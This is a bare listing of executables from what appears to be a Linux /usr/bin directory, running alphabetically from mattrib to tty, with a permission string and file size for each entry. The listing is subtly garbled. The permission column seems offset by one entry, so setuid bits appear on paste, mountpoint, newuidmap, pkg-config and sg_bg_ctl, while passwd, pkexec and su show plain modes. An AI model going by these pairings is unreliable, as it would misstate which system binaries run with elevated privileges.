-rwxr-xr-x
mattrib
196.87
KB
-rwxr-xr-x
mbadblocks
196.87
KB
-rwxr-xr-x
mcat
196.87
KB
-rwxr-xr-x
mcd
196.87
KB
-rwxr-xr-x
mcheck
1.64
KB
-rwxr-xr-x
mclasserase
196.87
KB
-rwxr-xr-x
mcomp
851
B
-rwxr-xr-x
mcookie
27.31
KB
-rwxr-xr-x
mcopy
196.87
KB
-rwxr-xr-x
md5sum
39.64
KB
-rwxr-xr-x
mdb_copy
15.7
KB
-rwxr-xr-x
mdb_dump
15.84
KB
-rwxr-xr-x
mdb_load
23.84
KB
-rwxr-xr-x
mdb_stat
15.8
KB
-rwxr-xr-x
mdel
196.87
KB
-rwxr-xr-x
mdeltree
196.87
KB
-rwxr-xr-x
mdig
51.3
KB
-rwxr-xr-x
mdir
196.87
KB
-rwxr-xr-x
mdu
196.87
KB
-rwxr-xr-x
memdiskfind
15.75
KB
-rwxr-xr-x
mesg
15.14
KB
-rwxr-xr-x
mformat
196.87
KB
-rwxr-xr-x
minfo
196.87
KB
-rwxr-xr-x
mkdir
68.31
KB
-rwxr-xr-x
mkfifo
39.83
KB
-rwxr-xr-x
mkfontdir
69
B
-rwxr-xr-x
mkfontscale
44.77
KB
-rwxr-xr-x
mkhybrid
573.37
KB
-rwxr-xr-x
mkisofs
573.37
KB
-rwxr-xr-x
mkmanifest
15.12
KB
-rwxr-xr-x
mknod
43.88
KB
-rwxr-xr-x
mktemp
39.8
KB
-rwxr-xr-x
mlabel
196.87
KB
-rwxr-xr-x
mm2gv
39.45
KB
-rwxr-xr-x
mmd
196.87
KB
-rwxr-xr-x
mmdblookup
27.72
KB
-rwxr-xr-x
mmount
196.87
KB
-rwxr-xr-x
mmove
196.87
KB
-rwxr-xr-x
modulecmd
654.01
KB
-rwxr-xr-x
modulemd-validator
28.39
KB
-rwxr-xr-x
mogrify
15.27
KB
-rwxr-xr-x
montage
15.27
KB
-rwxr-xr-x
more
43.43
KB
-rwxr-xr-x
mount
47.34
KB
-rwsr-xr-x
mountpoint
19.18
KB
-rwxr-xr-x
mpartition
196.87
KB
-rwxr-xr-x
mpstat
51.79
KB
-rwxr-xr-x
mrd
196.87
KB
-rwxr-xr-x
mren
196.87
KB
-rwxr-xr-x
msgattrib
27.17
KB
-rwxr-xr-x
msgcat
27.14
KB
-rwxr-xr-x
msgcmp
27.27
KB
-rwxr-xr-x
msgcomm
27.16
KB
-rwxr-xr-x
msgconv
23.15
KB
-rwxr-xr-x
msgen
23.15
KB
-rwxr-xr-x
msgexec
23.15
KB
-rwxr-xr-x
msgfilter
35.31
KB
-rwxr-xr-x
msgfmt
84.09
KB
-rwxr-xr-x
msgfmt.py
7.41
KB
-rwxr-xr-x
msgfmt3.9.py
7.41
KB
-rwxr-xr-x
msgfmt3.py
7.41
KB
-rwxr-xr-x
msggrep
116.41
KB
-rwxr-xr-x
msginit
67.44
KB
-rwxr-xr-x
msgmerge
75.48
KB
-rwxr-xr-x
msgunfmt
35.33
KB
-rwxr-xr-x
msguniq
23.15
KB
-rwxr-xr-x
mshortname
196.87
KB
-rwxr-xr-x
mshowfat
196.87
KB
-rwxr-xr-x
msql2mysql
1.42
KB
-rwxr-xr-x
mtools
196.87
KB
-rwxr-xr-x
mtoolstest
196.87
KB
-rwxr-xr-x
mtype
196.87
KB
-rwxr-xr-x
mv
141.17
KB
-rwxr-xr-x
mxtar
788
B
-rwxr-xr-x
my_print_defaults
4.54
MB
-rwxr-xr-x
myisam_ftdump
4.88
MB
-rwxr-xr-x
myisamchk
4.99
MB
-rwxr-xr-x
myisamlog
4.85
MB
-rwxr-xr-x
myisampack
4.9
MB
-rwxr-xr-x
mysql
5.1
MB
-rwxr-xr-x
mysql_config
4.47
KB
-rwxr-xr-x
mysql_embedded
24.46
MB
-rwxr-xr-x
mysql_find_rows
3.35
KB
-rwxr-xr-x
mysql_fix_extensions
1.31
KB
-rwxr-xr-x
mysql_install_db
22.35
KB
-rwxr-xr-x
mysql_plugin
4.55
MB
-rwxr-xr-x
mysql_tzinfo_to_sql
4.55
MB
-rwxr-xr-x
mysql_upgrade
4.99
MB
-rwxr-xr-x
mysql_waitpid
4.54
MB
-rwxr-xr-x
mysqlaccess
109.48
KB
-rwxr-xr-x
mysqladmin
4.87
MB
-rwxr-xr-x
mysqlbinlog
5.13
MB
-rwxr-xr-x
mysqlcheck
4.86
MB
-rwxr-xr-x
mysqld_multi
26.85
KB
-rwxr-xr-x
mysqld_safe
30.58
KB
-rwxr-xr-x
mysqld_safe_helper
4.51
MB
-rwxr-xr-x
mysqldump
4.96
MB
-rwxr-xr-x
mysqlimport
4.85
MB
-rwxr-xr-x
mysqlshow
4.85
MB
-rwxr-xr-x
mysqlslap
4.87
MB
-rwxr-xr-x
mytop
72.03
KB
-rwxr-xr-x
mzip
196.87
KB
-rwxr-xr-x
nail
1013.25
KB
-rwxr-xr-x
named-rrchecker
23.14
KB
-rwxr-xr-x
namei
23.23
KB
-rwxr-xr-x
nano
346.2
KB
-rwxr-xr-x
ncurses6-config
8.13
KB
-rwxr-xr-x
ncursesw6-config
8.13
KB
-rwxr-xr-x
ndptool
27.42
KB
-rwxr-xr-x
neato
15.23
KB
-rwxr-xr-x
needs-restarting
3.6
KB
-rwxr-xr-x
neqn
916
B
-rwxr-xr-x
netstat
156.85
KB
-rwxr-xr-x
newgidmap
41.95
KB
-rwxr-xr-x
newgrp
40.77
KB
-rwsr-xr-x
newuidmap
37.93
KB
-rwxr-xr-x
nf-ct-add
15.89
KB
-rwxr-xr-x
nf-ct-events
15.33
KB
-rwxr-xr-x
nf-ct-list
15.93
KB
-rwxr-xr-x
nf-exp-add
20.3
KB
-rwxr-xr-x
nf-exp-delete
16.09
KB
-rwxr-xr-x
nf-exp-list
15.93
KB
-rwxr-xr-x
nf-log
15.31
KB
-rwxr-xr-x
nf-monitor
15.33
KB
-rwxr-xr-x
nf-queue
15.32
KB
-rwxr-xr-x
ngettext
35.34
KB
-rwxr-xr-x
nice
35.67
KB
-rwxr-xr-x
nisdomainname
23.84
KB
-rwxr-xr-x
nl
100.71
KB
-rwxr-xr-x
nl-addr-add
15.77
KB
-rwxr-xr-x
nl-addr-delete
15.82
KB
-rwxr-xr-x
nl-addr-list
19.84
KB
-rwxr-xr-x
nl-class-add
15.75
KB
-rwxr-xr-x
nl-class-delete
15.66
KB
-rwxr-xr-x
nl-class-list
15.63
KB
-rwxr-xr-x
nl-classid-lookup
15.5
KB
-rwxr-xr-x
nl-cls-add
19.81
KB
-rwxr-xr-x
nl-cls-delete
15.73
KB
-rwxr-xr-x
nl-cls-list
15.69
KB
-rwxr-xr-x
nl-fib-lookup
15.52
KB
-rwxr-xr-x
nl-link-enslave
15.29
KB
-rwxr-xr-x
nl-link-ifindex2name
15.29
KB
-rwxr-xr-x
nl-link-list
15.67
KB
-rwxr-xr-x
nl-link-name2ifindex
15.29
KB
-rwxr-xr-x
nl-link-release
15.29
KB
-rwxr-xr-x
nl-link-set
15.74
KB
-rwxr-xr-x
nl-link-stats
15.53
KB
-rwxr-xr-x
nl-list-caches
15.3
KB
-rwxr-xr-x
nl-list-sockets
15.29
KB
-rwxr-xr-x
nl-monitor
15.48
KB
-rwxr-xr-x
nl-neigh-add
15.66
KB
-rwxr-xr-x
nl-neigh-delete
15.7
KB
-rwxr-xr-x
nl-neigh-list
15.61
KB
-rwxr-xr-x
nl-neightbl-list
15.45
KB
-rwxr-xr-x
nl-nh-list
15.48
KB
-rwxr-xr-x
nl-pktloc-lookup
15.53
KB
-rwxr-xr-x
nl-qdisc-add
15.7
KB
-rwxr-xr-x
nl-qdisc-delete
15.66
KB
-rwxr-xr-x
nl-qdisc-list
19.69
KB
-rwxr-xr-x
nl-route-add
19.84
KB
-rwxr-xr-x
nl-route-delete
19.91
KB
-rwxr-xr-x
nl-route-get
15.31
KB
-rwxr-xr-x
nl-route-list
15.86
KB
-rwxr-xr-x
nl-rule-list
15.48
KB
-rwxr-xr-x
nl-tctree-list
15.6
KB
-rwxr-xr-x
nl-util-addr
15.29
KB
-rwxr-xr-x
nm
44.73
KB
-rwxr-xr-x
nm-online
23.38
KB
-rwxr-xr-x
nmcli
1.03
MB
-rwxr-xr-x
nmtui
838.46
KB
-rwxr-xr-x
nmtui-connect
838.46
KB
-rwxr-xr-x
nmtui-edit
838.46
KB
-rwxr-xr-x
nmtui-hostname
838.46
KB
-rwxr-xr-x
nohup
35.58
KB
-rwxr-xr-x
nop
15.33
KB
-rwxr-xr-x
notify-send
19.75
KB
-rwxr-xr-x
nproc
35.69
KB
-rwxr-xr-x
nroff
3.21
KB
-rwxr-xr-x
nsenter
27.48
KB
-rwxr-xr-x
nslookup
112.52
KB
-rwxr-xr-x
nsupdate
71.8
KB
-rwxr-xr-x
numfmt
55.83
KB
-rwxr-xr-x
objcopy
185.37
KB
-rwxr-xr-x
objdump
413.11
KB
-rwxr-xr-x
od
64.06
KB
-rwxr-xr-x
openssl
1.07
MB
-rwxr-xr-x
openvt
23.73
KB
-rwxr-xr-x
orc-bugreport
23.31
KB
-rwxr-xr-x
os-prober
5.78
KB
-rwxr-xr-x
osage
15.23
KB
-rwxr-xr-x
osinfo-db-export
27.35
KB
-rwxr-xr-x
osinfo-db-import
27.3
KB
-rwxr-xr-x
osinfo-db-path
15.3
KB
-rwxr-xr-x
osinfo-db-validate
23.4
KB
-rwxr-xr-x
osinfo-detect
27.4
KB
-rwxr-xr-x
osinfo-install-script
31.77
KB
-rwxr-xr-x
osinfo-query
32.19
KB
-rwxr-xr-x
p11-kit
188.31
KB
-rwxr-xr-x
package-cleanup
3.6
KB
-rwxr-xr-x
page_owner_sort
26.13
KB
-rwxr-xr-x
pango-list
19.11
KB
-rwxr-xr-x
pango-segmentation
19.13
KB
-rwxr-xr-x
pango-view
60.17
KB
-rwxr-xr-x
paperconf
15.8
KB
-rwxr-xr-x
passwd
31.89
KB
-rwsr-xr-x
paste
35.58
KB
-rwxr-xr-x
patch
195.02
KB
-rwxr-xr-x
patchwork
15.23
KB
-rwxr-xr-x
pathchk
35.66
KB
-rwxr-xr-x
pathfix.py
6.63
KB
-rwxr-xr-x
pathfix3.9.py
6.63
KB
-rwxr-xr-x
pcre-config
2.09
KB
-rwxr-xr-x
pcre2-config
1.91
KB
-rwxr-xr-x
pdf2dsc
701
B
-rwxr-xr-x
pdf2ps
913
B
-rwxr-xr-x
pdns_control
479.87
KB
-rwxr-xr-x
pdnsutil
4.82
MB
-rwxr-xr-x
peekfd
15.8
KB
-rwxr-xr-x
perl
15.13
KB
-rwxr-xr-x
perl5.32.1
15.13
KB
-rwxr-xr-x
perlbug
43.81
KB
-rwxr-xr-x
perldoc
118
B
-rwxr-xr-x
perlivp
10.56
KB
-rwxr-xr-x
perlml
14.49
KB
-rwxr-xr-x
perlthanks
43.81
KB
-rwxr-xr-x
perror
4.74
MB
-rwxr-xr-x
pf2afm
502
B
-rwxr-xr-x
pfbtopfa
520
B
-rwxr-xr-x
pftp
100.66
KB
-rwxr-xr-x
pgrep
31.42
KB
-rwxr-xr-x
php
937
B
-rwxr-xr-x
pic
201.72
KB
-rwxr-xr-x
piconv
8.08
KB
-rwxr-xr-x
pidof
23.33
KB
-rwxr-xr-x
pidstat
51.8
KB
-rwxr-xr-x
pidwait
31.42
KB
-rwxr-xr-x
pigz
132.84
KB
-rwxr-xr-x
ping
89.33
KB
-rwxr-xr-x
pinky
35.61
KB
-rwxr-xr-x
pip
648
B
-rwxr-xr-x
pip-3
648
B
-rwxr-xr-x
pip-3.9
648
B
-rwxr-xr-x
pip3
648
B
-rwxr-xr-x
pip3.9
648
B
-rwxr-xr-x
pipewire
15.14
KB
-rwxr-xr-x
pipewire-aes67
15.14
KB
-rwxr-xr-x
pipewire-avb
15.14
KB
-rwxr-xr-x
pipewire-pulse
15.14
KB
-rwxr-xr-x
pipewire-vulkan
15.14
KB
-rwxr-xr-x
pitchplay
1008
B
-rwxr-xr-x
pkaction
19.16
KB
-rwxr-xr-x
pkcheck
23.17
KB
-rwxr-xr-x
pkexec
31.18
KB
-rwsr-xr-x
pkg-config
335
B
-rwxr-xr-x
pkgconf
45.36
KB
-rwxr-xr-x
pkill
31.42
KB
-rwxr-xr-x
pkla-admin-identities
23.96
KB
-rwxr-xr-x
pkla-check-authorization
36.1
KB
-rwxr-xr-x
pkttyagent
23.16
KB
-rwxr-xr-x
pl2pm
4.43
KB
-rwxr-xr-x
pldd
23.37
KB
-rwxr-xr-x
pmap
35.39
KB
-rwxr-xr-x
png-fix-itxt
15.11
KB
-rwxr-xr-x
pngfix
59.56
KB
-rwxr-xr-x
pod2html
4.04
KB
-rwxr-xr-x
pod2man
14.68
KB
-rwxr-xr-x
pod2text
10.55
KB
-rwxr-xr-x
pod2usage
4.01
KB
-rwxr-xr-x
podchecker
3.57
KB
-rwxr-xr-x
post-grohtml
199.76
KB
-rwxr-xr-x
powernow-k8-decode
14.13
KB
-rwxr-xr-x
pphs
408
B
-rwxr-xr-x
pr
72.28
KB
-rwxr-xr-x
pre-grohtml
92.92
KB
-rwxr-xr-x
precat
5.53
KB
-rwxr-xr-x
preconv
56.27
KB
-rwxr-xr-x
preunzip
5.53
KB
-rwxr-xr-x
prezip
5.53
KB
-rwxr-xr-x
prezip-bin
15.69
KB
-rwxr-xr-x
printafm
399
B
-rwxr-xr-x
printenv
31.47
KB
-rwxr-xr-x
printf
51.77
KB
-rwxr-xr-x
prlimit
27.76
KB
-rwxr-xr-x
procan
35.43
KB
-rwxr-xr-x
protoc
23.32
KB
-rwxr-xr-x
protoc-c
158.2
KB
-rwxr-xr-x
protoc-gen-c
158.2
KB
-rwxr-xr-x
prove
13.24
KB
-rwxr-xr-x
prtstat
23.84
KB
-rwxr-xr-x
prune
15.41
KB
-rwxr-xr-x
ps
141.15
KB
-rwxr-xr-x
ps2ascii
635
B
-rwxr-xr-x
ps2epsi
1.24
KB
-rwxr-xr-x
ps2pdf
276
B
-rwxr-xr-x
ps2pdf12
219
B
-rwxr-xr-x
ps2pdf13
219
B
-rwxr-xr-x
ps2pdf14
219
B
-rwxr-xr-x
ps2pdfwr
1.06
KB
-rwxr-xr-x
ps2ps
651
B
-rwxr-xr-x
ps2ps2
673
B
-rwxr-xr-x
psfaddtable
31.43
KB
-rwxr-xr-x
psfgettable
31.43
KB
-rwxr-xr-x
psfstriptable
31.43
KB
-rwxr-xr-x
psfxtable
31.43
KB
-rwxr-xr-x
pslog
15.7
KB
-rwxr-xr-x
pstree
36.9
KB
-rwxr-xr-x
pstree.x11
36.9
KB
-rwxr-xr-x
ptar
3.39
KB
-rwxr-xr-x
ptardiff
2.49
KB
-rwxr-xr-x
ptargrep
4.2
KB
-rwxr-xr-x
ptx
129.03
KB
-rwxr-xr-x
pv
65.35
KB
-rwxr-xr-x
pw-jack
1.32
KB
-rwxr-xr-x
pwd
35.7
KB
-rwxr-xr-x
pwdx
15.28
KB
-rwxr-xr-x
pwmake
15.7
KB
-rwxr-xr-x
pwscore
15.7
KB
-rwxr-xr-x
pydoc
78
B
-rwxr-xr-x
pydoc3
78
B
-rwxr-xr-x
pydoc3.9
78
B
-rwxr-xr-x
pygettext.py
21.03
KB
-rwxr-xr-x
pygettext3.9.py
21.03
KB
-rwxr-xr-x
pygettext3.py
21.03
KB
-rwxr-xr-x
python-config
61
B
-rwxr-xr-x
python-html2text
980
B
-rwxr-xr-x
python3
15.09
KB
-rwxr-xr-x
python3-config
61
B
-rwxr-xr-x
python3-html2text
980
B
-rwxr-xr-x
python3.9
15.09
KB
-rwxr-xr-x
python3.9-config
61
B
-rwxr-xr-x
python3.9-x86_64-config
3.54
KB
-rwxr-xr-x
qemu-ga
1.81
MB
-rwxr-xr-x
quota
81.67
KB
-rwsr-xr-x
quotasync
64.88
KB
-rwxr-xr-x
ranlib
56
KB
-rwxr-xr-x
read
32
B
-rwxr-xr-x
readelf
667.29
KB
-rwxr-xr-x
readlink
39.69
KB
-rwxr-xr-x
readmult
803
B
-rwxr-xr-x
realpath
39.77
KB
-rwxr-xr-x
recode-sr-latin
15.13
KB
-rwxr-xr-x
red
92
B
-rwxr-xr-x
rename
23.23
KB
-rwxr-xr-x
renew-dummy-cert
729
B
-rwxr-xr-x
renice
15.16
KB
-rwxr-xr-x
replace
4.52
MB
-rwxr-xr-x
repo-graph
3.6
KB
-rwxr-xr-x
repoclosure
3.6
KB
-rwxr-xr-x
repodiff
3.6
KB
-rwxr-xr-x
repomanage
3.6
KB
-rwxr-xr-x
repoquery
3.6
KB
-rwxr-xr-x
reposync
3.6
KB
-rwxr-xr-x
repotrack
3.6
KB
-rwxr-xr-x
rescan-scsi-bus.sh
38.09
KB
-rwxr-xr-x
reset
27.34
KB
-rwxr-xr-x
resizecons
27.55
KB
-rwxr-xr-x
resolve_stack_dump
4.54
MB
-rwxr-xr-x
resolveip
4.54
MB
-rwxr-xr-x
rev
15.16
KB
-rwxr-xr-x
rm
60.21
KB
-rwxr-xr-x
rmdir
43.61
KB
-rwxr-xr-x
rnano
346.2
KB
-rwxr-xr-x
rpcbind
59.89
KB
-rwxr-xr-x
rpcinfo
35.58
KB
-rwxr-xr-x
rpm
23.63
KB
-rwxr-xr-x
rpm2archive
23.32
KB
-rwxr-xr-x
rpm2cpio
15.12
KB
-rwxr-xr-x
rpmdb
19.74
KB
-rwxr-xr-x
rpmkeys
15.59
KB
-rwxr-xr-x
rpmquery
23.63
KB
-rwxr-xr-x
rpmverify
23.63
KB
-rwxr-xr-x
rsync
558.48
KB
-rwxr-xr-x
rsync-ssl
5.01
KB
-rwxr-xr-x
run-parts
1.94
KB
-rwxr-xr-x
run-with-aspell
89
B
-rwxr-xr-x
runcon
35.65
KB
-rwxr-xr-x
rvi
1.38
MB
-rwxr-xr-x
rview
1.38
MB
-rwxr-xr-x
s-nail
1013.25
KB
-rwxr-xr-x
sadf
459.02
KB
-rwxr-xr-x
sar
135.88
KB
-rwxr-xr-x
sccmap
23.37
KB
-rwxr-xr-x
scl
39.55
KB
-rwxr-xr-x
scl_enabled
262
B
-rwxr-xr-x
scl_source
1.88
KB
-rwxr-xr-x
scp
132.93
KB
-rwxr-xr-x
script
51.58
KB
-rwxr-xr-x
scriptlive
43.48
KB
-rwxr-xr-x
scriptreplay
35.3
KB
-rwxr-xr-x
scsi-rescan
38.09
KB
-rwxr-xr-x
scsi_logging_level
8.39
KB
-rwxr-xr-x
scsi_mandat
3.52
KB
-rwxr-xr-x
scsi_readcap
1.3
KB
-rwxr-xr-x
scsi_ready
1.1
KB
-rwxr-xr-x
scsi_satl
3.74
KB
-rwxr-xr-x
scsi_start
1.26
KB
-rwxr-xr-x
scsi_stop
1.44
KB
-rwxr-xr-x
scsi_temperature
940
B
-rwxr-xr-x
sdiff
44.2
KB
-rwxr-xr-x
secon
28.25
KB
-rwxr-xr-x
sed
114.01
KB
-rwxr-xr-x
sedismod
289.02
KB
-rwxr-xr-x
sedispol
219.93
KB
-rwxr-xr-x
semodule_expand
15.12
KB
-rwxr-xr-x
semodule_link
15.13
KB
-rwxr-xr-x
semodule_package
19.16
KB
-rwxr-xr-x
semodule_unpackage
15.12
KB
-rwxr-xr-x
seq
47.79
KB
-rwxr-xr-x
sestatus
23.13
KB
-rwxr-xr-x
setarch
27.48
KB
-rwxr-xr-x
setfacl
39.98
KB
-rwxr-xr-x
setfattr
20.16
KB
-rwxr-xr-x
setfont
51.82
KB
-rwxr-xr-x
setkeycodes
15.38
KB
-rwxr-xr-x
setleds
19.45
KB
-rwxr-xr-x
setmetamode
15.48
KB
-rwxr-xr-x
setpriv
39.35
KB
-rwxr-xr-x
setsid
15.15
KB
-rwxr-xr-x
setterm
35.33
KB
-rwxr-xr-x
setup-nsssysinit
1.51
KB
-rwxr-xr-x
setup-nsssysinit.sh
1.51
KB
-rwxr-xr-x
setvtrgb
15.44
KB
-rwxr-xr-x
sfdp
15.23
KB
-rwxr-xr-x
sftp
140.93
KB
-rwxr-xr-x
sg
40.77
KB
-rwsr-xr-x
sg_bg_ctl
15.52
KB
-rwxr-xr-x
sg_compare_and_write
27.95
KB
-rwxr-xr-x
sg_copy_results
24.24
KB
-rwxr-xr-x
sg_dd
55.56
KB
-rwxr-xr-x
sg_decode_sense
15.84
KB
-rwxr-xr-x
sg_emc_trespass
15.3
KB
-rwxr-xr-x
sg_format
40.41
KB
-rwxr-xr-x
sg_get_config
36.34
KB
-rwxr-xr-x
sg_get_elem_status
27.82
KB
-rwxr-xr-x
sg_get_lba_status
23.97
KB
-rwxr-xr-x
sg_ident
15.6
KB
-rwxr-xr-x
sg_inq
120.88
KB
-rwxr-xr-x
sg_logs
153.07
KB
-rwxr-xr-x
sg_luns
23.83
KB
-rwxr-xr-x
sg_map
19.36
KB
-rwxr-xr-x
sg_map26
27.82
KB
-rwxr-xr-x
sg_modes
47.16
KB
-rwxr-xr-x
sg_opcodes
36.13
KB
-rwxr-xr-x
sg_persist
37.1
KB
-rwxr-xr-x
sg_prevent
15.5
KB
-rwxr-xr-x
sg_raw
27.92
KB
-rwxr-xr-x
sg_rbuf
23.77
KB
-rwxr-xr-x
sg_rdac
15.28
KB
-rwxr-xr-x
sg_read
27.37
KB
-rwxr-xr-x
sg_read_attr
37.7
KB
-rwxr-xr-x
sg_read_block_limits
15.55
KB
-rwxr-xr-x
sg_read_buffer
28.52
KB
-rwxr-xr-x
sg_read_long
15.72
KB
-rwxr-xr-x
sg_readcap
23.84
KB
-rwxr-xr-x
sg_reassign
15.66
KB
-rwxr-xr-x
sg_referrals
15.67
KB
-rwxr-xr-x
sg_rep_pip
15.59
KB
-rwxr-xr-x
sg_rep_zones
28.01
KB
-rwxr-xr-x
sg_requests
23.77
KB
-rwxr-xr-x
sg_reset
15.7
KB
-rwxr-xr-x
sg_reset_wp
15.62
KB
-rwxr-xr-x
sg_rmsn
15.51
KB
-rwxr-xr-x
sg_rtpg
15.61
KB
-rwxr-xr-x
sg_safte
23.72
KB
-rwxr-xr-x
sg_sanitize
28.02
KB
-rwxr-xr-x
sg_sat_identify
19.76
KB
-rwxr-xr-x
sg_sat_phy_event
20.03
KB
-rwxr-xr-x
sg_sat_read_gplog
19.74
KB
-rwxr-xr-x
sg_sat_set_features
19.7
KB
-rwxr-xr-x
sg_scan
19.36
KB
-rwxr-xr-x
sg_seek
19.91
KB
-rwxr-xr-x
sg_senddiag
28.27
KB
-rwxr-xr-x
sg_ses
121.22
KB
-rwxr-xr-x
sg_ses_microcode
28.42
KB
-rwxr-xr-x
sg_start
19.89
KB
-rwxr-xr-x
sg_stpg
23.73
KB
-rwxr-xr-x
sg_stream_ctl
19.72
KB
-rwxr-xr-x
sg_sync
15.68
KB
-rwxr-xr-x
sg_test_rwbuf
19.69
KB
-rwxr-xr-x
sg_timestamp
23.8
KB
-rwxr-xr-x
sg_turs
27.78
KB
-rwxr-xr-x
sg_unmap
23.8
KB
-rwxr-xr-x
sg_verify
19.92
KB
-rwxr-xr-x
sg_vpd
119.66
KB
-rwxr-xr-x
sg_wr_mode
23.73
KB
-rwxr-xr-x
sg_write_buffer
28.27
KB
-rwxr-xr-x
sg_write_long
15.77
KB
-rwxr-xr-x
sg_write_same
27.99
KB
-rwxr-xr-x
sg_write_verify
27.83
KB
-rwxr-xr-x
sg_write_x
60.75
KB
-rwxr-xr-x
sg_xcopy
43.54
KB
-rwxr-xr-x
sg_zone
19.81
KB
-rwxr-xr-x
sginfo
73.76
KB
-rwxr-xr-x
sgm_dd
39.52
KB
-rwxr-xr-x
sgp_dd
43.71
KB
-rwxr-xr-x
sh
1.32
MB
-rwxr-xr-x
sha1hmac
35.27
KB
-rwxr-xr-x
sha1sum
39.64
KB
-rwxr-xr-x
sha224hmac
35.27
KB
-rwxr-xr-x
sha224sum
39.64
KB
-rwxr-xr-x
sha256hmac
35.27
KB
-rwxr-xr-x
sha256sum
39.64
KB
-rwxr-xr-x
sha384hmac
35.27
KB
-rwxr-xr-x
sha384sum
39.64
KB
-rwxr-xr-x
sha512hmac
35.27
KB
-rwxr-xr-x
sha512sum
39.64
KB
-rwxr-xr-x
shasum
9.66
KB
-rwxr-xr-x
showconsolefont
19.46
KB
-rwxr-xr-x
showkey
19.4
KB
-rwxr-xr-x
shred
51.88
KB
-rwxr-xr-x
shuf
48.01
KB
-rwxr-xr-x
sieve-dump
37.71
KB
-rwxr-xr-x
sieve-filter
43.13
KB
-rwxr-xr-x
sieve-test
43.06
KB
-rwxr-xr-x
sievec
37.96
KB
-rwxr-xr-x
size
31.61
KB
-rwxr-xr-x
skill
31.4
KB
-rwxr-xr-x
slabinfo
42.95
KB
-rwxr-xr-x
slabtop
23.42
KB
-rwxr-xr-x
sleep
35.65
KB
-rwxr-xr-x
sm3hmac
35.27
KB
-rwxr-xr-x
snice
31.4
KB
-rwxr-xr-x
socat
386.92
KB
-rwxr-xr-x
soelim
32.18
KB
-rwxr-xr-x
soelim.groff
32.18
KB
-rwxr-xr-x
sort
113.09
KB
-rwxr-xr-x
sotruss
4.18
KB
-rwxr-xr-x
spell
125
B
-rwxr-xr-x
splain
18.96
KB
-rwxr-xr-x
split
52.31
KB
-rwxr-xr-x
sprof
35.45
KB
-rwxr-xr-x
sqlite3
1.54
MB
-rwxr-xr-x
ssh
843.38
KB
-rwxr-xr-x
ssh-add
164.72
KB
-rwxr-xr-x
ssh-agent
280.88
KB
-rwxr-xr-x
ssh-copy-id
12.38
KB
-rwxr-xr-x
ssh-keygen
454.85
KB
-rwxr-xr-x
ssh-keyscan
197.29
KB
-rwxr-xr-x
sss_ssh_authorizedkeys
23.3
KB
-rwxr-xr-x
sss_ssh_knownhostsproxy
27.3
KB
-rwxr-xr-x
stat
80.06
KB
-rwxr-xr-x
stdbuf
43.74
KB
-rwxr-xr-x
strace
2.08
MB
-rwxr-xr-x
strace-log-merge
1.83
KB
-rwxr-xr-x
stream
15.27
KB
-rwxr-xr-x
streamzip
7.66
KB
-rwxr-xr-x
strings
31.74
KB
-rwxr-xr-x
strip
185.37
KB
-rwxr-xr-x
stty
75.83
KB
-rwxr-xr-x
su
55.6
KB
-rwsr-x---
sudo
180.96
KB
---s--x--x
sudoedit
180.96
KB
---s--x--x
sudoreplay
84.97
KB
---x--x--x
sum
35.59
KB
-rwxr-xr-x
switch_mod_lsapi
30.99
KB
-rwxr-xr-x
sxpm
31.58
KB
-rwxr-xr-x
sync
35.54
KB
-rwxr-xr-x
syslinux
198.28
KB
-rwxr-xr-x
systemctl
298.42
KB
-rwxr-xr-x
systemd-analyze
201.59
KB
-rwxr-xr-x
systemd-ask-password
19.46
KB
-rwxr-xr-x
systemd-cat
19.27
KB
-rwxr-xr-x
systemd-cgls
23.47
KB
-rwxr-xr-x
systemd-cgtop
39.41
KB
-rwxr-xr-x
systemd-creds
43.8
KB
-rwxr-xr-x
systemd-cryptenroll
72.08
KB
-rwxr-xr-x
systemd-delta
27.31
KB
-rwxr-xr-x
systemd-detect-virt
19.26
KB
-rwxr-xr-x
systemd-dissect
47.78
KB
-rwxr-xr-x
systemd-escape
23.26
KB
-rwxr-xr-x
systemd-firstboot
56.09
KB
-rwxr-xr-x
systemd-hwdb
15.28
KB
-rwxr-xr-x
systemd-id128
27.38
KB
-rwxr-xr-x
systemd-inhibit
23.31
KB
-rwxr-xr-x
systemd-machine-id-setup
19.55
KB
-rwxr-xr-x
systemd-mount
60.03
KB
-rwxr-xr-x
systemd-notify
23.31
KB
-rwxr-xr-x
systemd-path
19.26
KB
-rwxr-xr-x
systemd-repart
169.27
KB
-rwxr-xr-x
systemd-run
64.02
KB
-rwxr-xr-x
systemd-socket-activate
27.35
KB
-rwxr-xr-x
systemd-stdio-bridge
23.27
KB
-rwxr-xr-x
systemd-sysext
47.76
KB
-rwxr-xr-x
systemd-sysusers
72.36
KB
-rwxr-xr-x
systemd-tmpfiles
124.54
KB
-rwxr-xr-x
systemd-tty-ask-password-agent
39.37
KB
-rwxr-xr-x
systemd-umount
60.03
KB
-rwxr-xr-x
tabs
19.16
KB
-rwxr-xr-x
tac
104.6
KB
-rwxr-xr-x
tail
68.09
KB
-rwxr-xr-x
tapestat
27.55
KB
-rwxr-xr-x
tar
518.16
KB
-rwxr-xr-x
taskset
23.23
KB
-rwxr-xr-x
tbl
130.86
KB
-rwxr-xr-x
tclsh
15.69
KB
-rwxr-xr-x
tclsh8.6
15.69
KB
-rwxr-xr-x
tcptraceroute
1.55
KB
-rwxr-xr-x
team2bond
15.76
KB
-rwxr-xr-x
teamd
166.59
KB
-rwxr-xr-x
teamdctl
37.12
KB
-rwxr-xr-x
teamnl
23.26
KB
-rwxr-xr-x
tee
35.69
KB
-rwxr-xr-x
telnet
107.22
KB
-rwxr-xr-x
test
43.79
KB
-rwxr-xr-x
tgz
2.25
KB
-rwxr-xr-x
tic
87.79
KB
-rwxr-xr-x
timedatectl
47.66
KB
-rwxr-xr-x
timeout
40.17
KB
-rwxr-xr-x
tload
19.34
KB
-rwxr-xr-x
tmon
42.48
KB
-rwxr-xr-x
tmpwatch
36.03
KB
-rwxr-xr-x
toe
23.23
KB
-rwxr-xr-x
top
132.27
KB
-rwxr-xr-x
touch
92.03
KB
-rwxr-xr-x
tput
27.25
KB
-rwxr-xr-x
tr
47.87
KB
-rwxr-xr-x
tracepath
19.22
KB
-rwxr-xr-x
traceroute
77.29
KB
-rwxr-xr-x
traceroute6
77.29
KB
-rwxr-xr-x
tracker3
611.08
KB
-rwxr-xr-x
tred
15.35
KB
-rwxr-xr-x
troff
732.07
KB
-rwxr-xr-x
true
27.47
KB
-rwxr-xr-x
truncate
35.66
KB
-rwxr-xr-x
trust
221.06
KB
-rwxr-xr-x
tset
27.34
KB
-rwxr-xr-x
tsort
47.79
KB
-rwxr-xr-x
tty
31.65
KB
